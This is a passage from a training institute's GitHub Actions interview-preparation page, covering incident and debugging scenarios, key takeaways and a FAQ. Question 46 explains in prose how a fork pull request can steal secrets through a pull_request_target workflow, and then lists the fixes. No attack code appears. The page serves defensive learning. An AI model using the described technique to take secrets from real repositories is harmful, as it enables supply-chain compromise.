  4. Check whether the same pattern exists in other workflows using the same template.
  5. Ask whether the secret should exist at all; replace cloud keys with OIDC.

Production consideration: Write it up as a security incident with a timeline, even if no misuse is found. The fix is usually a template change plus a lint rule, not a reminder email.

46. A fork pull request exfiltrated secrets through a pull_request_target workflow. How did it happen, and how do you fix it?

Answer: The classic "pwn request": a pull_request_target workflow (privileged, with secrets and a write token) checked out github.event.pull_request.head.sha from the fork and then ran the fork's build scripts, tests or package install hooks. The attacker changed those scripts to send environment variables, the token and cache contents to their server.

What I would check:

  1. Rotate every secret the workflow could reach and review what the token could write (tags, releases, branches, caches) during the window.
  2. Search all workflows for pull_request_target and workflow_run combined with checkout of pull request code.
  3. Split the design: build and test untrusted code with pull_request (no secrets, read-only token), and keep privileged follow-up steps (labelling, commenting) in a separate workflow that only reads results as data.
  4. Require approval for workflow runs from outside contributors in the repository's Actions settings.
  5. Set restricted token defaults and minimal permissions on every workflow.

Production consideration: Also check cache poisoning: privileged workflows share the default branch's cache, so an attacker who could write a cache entry may affect later trusted builds. Purge suspicious caches after the incident.

47. One matrix leg fails randomly about once a week. How do you handle the flaky matrix?

Answer: Find out whether the flakiness lives in the test, the environment or the matrix design, rather than adding blind retries.

What I would check:

  1. Which leg fails: always the same OS, runtime version or shard? Compare failed and passing logs with debug logging on.
  2. Shared state between legs: parallel jobs writing to the same test database, bucket, artifact name or external sandbox account.
  3. Timing: tests that assume ordering, fixed sleeps or slow Windows file I/O; network calls to third-party services without retries or mocks.
  4. Unpinned dependencies: -latest images or floating tool versions changing under you.
  5. Set fail-fast: false while investigating so one failure does not hide others, and upload per-leg test reports with unique artifact names.

Production consideration: Quarantine known flaky tests into a non-blocking job with an owner and a deadline, and track the flake rate. A pipeline people routinely "just re-run" trains them to ignore real failures.

48. Your pull request workflow takes 40 minutes and developers are complaining. Walk through your fix.

Answer: Profile, then attack the biggest costs, aiming for fast feedback on the common path.

What I would check:

  1. Timing per job and step: where are the minutes going (install, build, tests, image build, queue time)?
  2. Cache hit rate for dependencies and Docker layers; a wrong key means every run starts cold.
  3. Serial work that could run in parallel; split the test suite into matrix shards.
  4. Work that does not need to run on every pull request: full end-to-end suites, multi-platform image builds and long scans can move to merge or nightly.
  5. Runner size and queueing: larger runners, or more self-hosted capacity if jobs wait for a runner.
  6. Add concurrency with cancel-in-progress so new pushes stop old runs.

Production consideration: Agree on a target with the team (for example "lint and unit feedback within a few minutes") and keep a required fast check separate from slower non-blocking ones. Re-measure after each change so you know which lever worked.

49. Your team deploys to AWS with an access key stored as a repository secret. How do you move to OIDC without downtime?

Answer: Run both paths briefly, switch, then delete the key.

What I would check:

  1. What the key's IAM user can actually do (often far more than deploy needs), using IAM access history.
  2. Create the IAM OIDC provider and one role per environment with trust conditions on repository and environment, and permissions trimmed to what deploy uses.
  3. Update the workflow: id-token: write, aws-actions/configure-aws-credentials with role-to-assume, and remove the key inputs. Test on staging first.
  4. Watch CloudTrail for the role's sessions and for any remaining use of the old key.
  5. Deactivate the access key, wait a release cycle, then delete it and the secret.

Production consideration: Put the trust policy in Terraform with code review, because one wildcard in sub undoes the benefit. Teams managing many accounts template these roles; see these Terraform interview questions for the IaC side.

50. A third-party action you use is reported compromised. What do you do in the first hour?

Answer: Contain, assess exposure, then harden, as teams did during the tj-actions incident.

What I would check:

  1. Block it immediately with the allowed actions policy (a !owner/action entry) at organisation or enterprise level so no workflow can run it.
  2. Search the organisation for every reference (code search for uses: owner/action) and list which ones were tag-pinned versus SHA-pinned to a known-good commit.
  3. For runs in the compromise window, read logs for unexpected output (encoded blobs, memory dumps) and treat every secret those jobs could reach as exposed: rotate, then review audit logs.
  4. Delete affected logs, especially on public repositories, and purge caches written by those runs.
  5. Replace the action with a pinned, verified version, a fork you control, or a few lines of your own shell.

Production consideration: Afterwards enable the SHA-pinning policy, restrict allowed actions to a reviewed list, run Dependabot for the github-actions ecosystem, and move cloud access to OIDC so a future leak yields short-lived credentials at worst.

51. A workflow pushes a version bump commit, but the CI workflow does not run on it. Why?

Answer: The push was made with GITHUB_TOKEN, and events created by that token do not trigger new workflow runs (apart from workflow_dispatch and repository_dispatch). This is deliberate loop protection.

What I would check:

  1. Confirm which credential pushed (the commit's actor shows github-actions[bot]).
  2. Decide whether CI on that commit is really needed; often the release workflow can run the checks itself.
  3. If it is, push with a GitHub App installation token (short-lived, scoped, auditable) instead of a personal access token.
  4. Alternatively call gh workflow run to dispatch the CI workflow explicitly.
  5. Guard against loops with an if on the actor or commit message.

Production consideration: Avoid personal access tokens for automation; they are tied to a person who will leave and usually carry far more scope than needed.

52. Two merges landed minutes apart and the older build finished deploying after the newer one. How do you prevent it?

Answer: Deploys were running in parallel with no ordering. Serialise them per environment and make deploys idempotent.

What I would check:

  1. Add concurrency: { group: deploy-production, cancel-in-progress: false } on the deploy job so production deploys run one at a time.
  2. Decide whether a superseded pending deploy should be skipped (default behaviour keeps only the latest pending run) or queued in order.
  3. Have the deploy step refuse to roll back to an older commit than the one currently live (compare SHAs or image tags).
  4. Consider a merge queue so main only advances through tested states.
  5. Add a post-deploy check that confirms the expected version is serving.

Production consideration: With GitOps, the same problem appears as two commits racing to the environment repository; the controller applies the latest commit, so make the workflow update tags with a rebase-and-retry rather than force pushes.

53. In a monorepo, pull requests that only touch docs are stuck with "Expected: waiting for status to be reported". What is wrong?

Answer: A required status check comes from a workflow with a paths filter. When the filter skips the whole workflow, the check is never reported, so branch protection waits forever.

What I would check:

  1. Which required check is pending, and which workflow and job name produce it.
  2. Whether the filter is at workflow level (on.pull_request.paths), which skips everything.
  3. Fix by always running the workflow and deciding inside it: a first job detects changes, later jobs use if, and skipped jobs report as skipped, which satisfies a required check.
  4. Or make the required check a small aggregator job that always runs with needs on the real jobs and fails only if one of them failed.
  5. Check the merge queue configuration too (merge_group trigger).

Production consideration: Ship the aggregator pattern in your reusable workflow so administrators never need to bypass branch protection.

54. Builds became slow again and the cache step reports a miss on almost every run. How do you investigate?

Answer: The key, the scope or eviction is wrong.

What I would check:

  1. The key: does it include something that changes every run (a timestamp, github.sha, a lockfile that is regenerated in CI)?
  2. restore-keys: without a prefix fallback, any lockfile change means a fully cold start.
  3. Branch scope: feature branches can only restore from themselves, the default branch and the base branch; if the default branch never saves a cache, new branches always miss.
  4. Storage pressure: the repository's caches page may show the size limit reached, with big matrix caches evicting each other; unused entries also expire after 7 days.
  5. Path mismatch: the cached path is not where the tool actually stores downloads on that OS.

Production consideration: Save caches from the default branch (using actions/cache/save conditionally) and let pull requests restore only. It improves hit rates and reduces the risk of a pull request writing a poisoned cache.

55. Jobs targeting your self-hosted runners stay queued, and later fail with errors about a newer Node runtime. What happened?

Answer: Two separate problems that often appear together: label or group mismatch, and an outdated runner.

What I would check:

  1. runs-on labels: every label listed must match a registered runner (or the ARC scale set name), and the runner group must allow this repository and workflow.
  2. Runner health: offline runners, full disks from old work directories and Docker images, or an ARC controller not scaling (check its pods and logs).
  3. Runner version: recent major versions of official actions run on Node 24 and need a minimum runner version (2.327.1 or later at the time of writing); auto-update disabled in a custom image leaves you behind.
  4. Network: the runner must reach GitHub's endpoints, including the hosts used to download actions and packages, through the corporate proxy.
  5. Queue limits: a self-hosted job that waits 24 hours is cancelled.

Production consideration: Rebuild runner images regularly with the current runner version, keep runners ephemeral so disks start clean, and alert on queue time, not just on failures.

Key takeaways

  • Know the hierarchy cold: events trigger workflows, workflows hold jobs, jobs get their own runner, steps run commands or actions, and jobs share data only through outputs and artifacts.
  • Secure by default is the senior signal: restricted GITHUB_TOKEN, per-job permissions, SHA-pinned actions, no untrusted code in pull_request_target, and untrusted input passed through environment variables.
  • OIDC replaces long-lived cloud keys on AWS, Azure and Google Cloud; the real security is in the trust policy's subject conditions.
  • Reuse at the right level: composite actions for steps, reusable workflows for whole jobs, rulesets and allowed actions policies for organisation-wide guardrails.
  • Speed comes from measurement, caching, parallelism, path filtering and cancelling superseded runs, not from bigger runners alone.
  • AI helps author and review pipelines, but generated YAML gets the same linting, pinning and review as any other code.

Interview preparation checklist

  • Write a CI workflow from memory with triggers, permissions, a matrix, caching and an artifact upload.
  • Build a three-job pipeline that passes an image tag through job outputs and deploys through a protected environment.
  • Set up OIDC to one cloud account and explain every condition in the trust policy.
  • Create a reusable workflow and a composite action, call both, and explain when you would pick each.
  • Reproduce a script injection with a malicious pull request title in a test repository, then fix it.
  • Pin all actions to SHAs and configure Dependabot for the github-actions ecosystem.
  • Debug a failing run with debug logging, gh run view --log-failed and act.
  • Prepare two stories: a pipeline you made faster, and a security issue you found or fixed.
  • Read the current limits, security hardening and billing pages on docs.github.com the week of the interview.

FAQ

What skills are required for a GitHub Actions role?

You need solid YAML and shell scripting, Git and pull request workflows, at least one build ecosystem such as Node, Python or Java, Docker, and one cloud platform for deployments. For senior roles add security hardening, OIDC, runner operations and organisation-wide governance.

How should I prepare for GitHub Actions interview questions?

Build real pipelines in a personal repository: CI with a matrix and caching, a deployment through a protected environment using OIDC, and a reusable workflow. Break things on purpose and fix them, then practise explaining the security choices aloud.

Are GitHub Actions interview questions mostly theory or hands-on?

Most interviews mix both. Expect concept questions on triggers, contexts and tokens, then a scenario or a YAML snippet to write or debug. Senior rounds often include a pipeline design discussion.

Is GitHub Actions enough to get a DevOps job?

It is an important skill but rarely enough alone. Employers also look for Linux, Git, Docker, Kubernetes, Terraform, a cloud platform and monitoring, with GitHub Actions as the automation layer that ties them together.

Should I learn GitHub Actions or Jenkins first?

If you are starting fresh, GitHub Actions is quicker to learn and widely used for new projects. Learn the concepts that transfer, such as stages, artifacts, secrets and runners, so picking up Jenkins or GitLab CI later is straightforward.

How important is GitHub Actions security in interviews?

Very important for mid-level and senior roles. Supply-chain incidents involving compromised actions made token permissions, SHA pinning, fork pull request handling and OIDC common interview topics.

Do I need to know Kubernetes for GitHub Actions roles?

Not for every role, but it helps. Many teams deploy to Kubernetes from Actions or through GitOps tools, and platform teams may run self-hosted runners on Kubernetes with Actions Runner Controller.

How does GitHub Actions fit with GitOps?

GitHub Actions usually handles CI: building, testing, scanning and publishing images. A GitOps controller such as Argo CD or Flux handles CD by reconciling the cluster with the desired state stored in Git, which the workflow updates.

Can freshers get interviews for CI/CD roles?

Yes, especially for junior DevOps and cloud support roles, when they can show working pipelines in a public portfolio. A repository with clear workflows, a README and a short write-up of what you learned is more convincing than a list of tools.

Ready to turn these answers into skills you can demonstrate? Cloudsoft's GitOps and GitHub Actions training in Hyderabad covers workflows, reusable pipelines, OIDC deployments to the cloud and Argo CD through hands-on labs, in our Ameerpet classroom beside the metro or live online. If you want a broader path across AI, ML, cloud and security, look at the APEX AI, ML, Cloud and Cyber Security program. Call +91 96660 19191 for a free demo session.

New ยท AI Career Guide

Meet Aanya โ€” ask anything about courses, fees & placement

Instant answers from verified Cloudsoft info โ€” courses, fees, formats, placement support and free demos. Available 24/7, right here on the site.

How Aanya works โ†’
Share๐•infโœ‰
EnrollWhatsAppCall us